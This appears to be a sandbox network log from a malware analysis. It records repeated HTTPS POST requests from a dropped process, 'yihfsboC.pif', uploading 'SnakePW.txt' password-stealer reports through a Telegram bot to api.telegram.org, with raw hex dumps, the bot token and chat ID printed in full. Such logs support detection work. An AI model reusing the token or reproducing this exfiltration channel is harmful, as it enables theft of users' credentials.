3a 31 37 33 32 36 30 35 39 32 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388854,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605927,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49791	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:29 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e2afe1517dc Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:29 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 32 61 66 65 31 35 31 37 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e2afe1517dcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:32 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:32 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388856,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605932,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49793	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:30 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dc19c90c343 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:30 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 31 39 63 39 30 63 33 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dc19c90c343Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:32 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:32 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388857,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605932,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49803	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:34 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0de89fac7a38 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:34 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 65 38 39 66 61 63 37 61 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0de89fac7a38Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:34 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:34 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388860,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605934,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49802	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:34 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e5dbbcfced3 Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:34 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 35 64 62 62 63 66 63 65 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e5dbbcfced3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:34 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:34 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 34 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388862,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605934,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49806	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:34 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dcf5032218b Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:34 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 66 35 30 33 32 32 31 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dcf5032218bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:25:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:35 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:35 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388864,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605935,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49810	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:35 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dfed0e58a0d Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:35 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 66 65 64 30 65 35 38 61 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dfed0e58a0dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:25:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:36 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:36 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388866,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605936,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49811	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:36 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0e74ea27430b Host: api.telegram.org Content-Length: 537
2024-11-26 07:25:36 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 65 37 34 65 61 32 37 34 33 30 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0e74ea27430bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:25:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:25:36 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:25:36 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 38 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 33 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388868,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605936,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49813	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:25:36 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0de86b2c0ccf Host: api.telegram.org Content-Length: 537
